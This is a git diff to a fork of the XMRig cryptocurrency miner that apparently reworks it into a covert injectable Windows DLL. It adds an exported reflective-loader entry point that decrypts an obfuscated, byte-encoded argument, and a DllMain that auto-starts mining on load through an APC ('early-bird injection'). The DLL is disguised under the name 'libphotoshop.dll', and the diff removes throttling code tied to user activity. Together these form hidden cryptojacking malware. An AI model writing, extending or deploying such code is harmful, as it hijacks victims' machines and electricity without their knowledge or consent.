diff --git a/src/core/Miner.cpp b/src/core/Miner.cpp index e2645387..c5596cc5 100644 --- a/src/core/Miner.cpp +++ b/src/core/Miner.cpp @@ -724,9 +724,6 @@ void xmrig::Miner::onTimer(const Timer *) } } #endif - lastThrottleState = userActive; - } - } if (stopMiner) { stop(); diff --git a/src/xmrig.cpp b/src/xmrig.cpp index 908b0f75..5e7a5d90 100644 --- a/src/xmrig.cpp +++ b/src/xmrig.cpp @@ -5,7 +5,9 @@ #include "App.h" #include "base/kernel/Entry.h" #include "base/kernel/Process.h" +#ifdef _WIN32 #include +#endif #include #include #include @@ -44,6 +46,7 @@ extern "C" { app->exec(); // ← blocks forever } +#ifdef _WIN32 DLL_EXPORT DWORD RdiEntry(LPVOID) { const unsigned char enc_arg[] = { 0xDA,0xD2,0xD5,0xDE,0xD5,0xD3,0xD2,0xD5,0xD7,0xDF,0xDF,0xD2,0xD8,0xD4,0xDE,0xDC,0xDC,0x00 }; std::string s = decrypt(enc_arg, sizeof(enc_arg)-1); @@ -58,24 +61,25 @@ extern "C" { return 0; } -} // extern "C" + // THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW + BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) + { + if (reason == DLL_PROCESS_ATTACH) { + DisableThreadLibraryCalls(hModule); -// THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW -BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) -{ - if (reason == DLL_PROCESS_ATTACH) { - DisableThreadLibraryCalls(hModule); + // THIS IS THE REAL FIX FOR EARLY-BIRD INJECTION + QueueUserAPC([](ULONG_PTR) -> void { + WSADATA wsa; + WSAStartup(MAKEWORD(2,2), &wsa); - // THIS IS THE REAL FIX FOR EARLY-BIRD INJECTION - QueueUserAPC([](ULONG_PTR) -> void { - WSADATA wsa; - WSAStartup(MAKEWORD(2,2), &wsa); + char* argv[] = { (char*)"libphotoshop.dll", nullptr }; + start_a(1, argv); // blocks forever - char* argv[] = { (char*)"libphotoshop.dll", nullptr }; - start_a(1, argv); // blocks forever - - WSACleanup(); - }, GetCurrentThread(), 0); + WSACleanup(); + }, GetCurrentThread(), 0); + } + return TRUE; } - return TRUE; -} +#endif + +} // extern "C"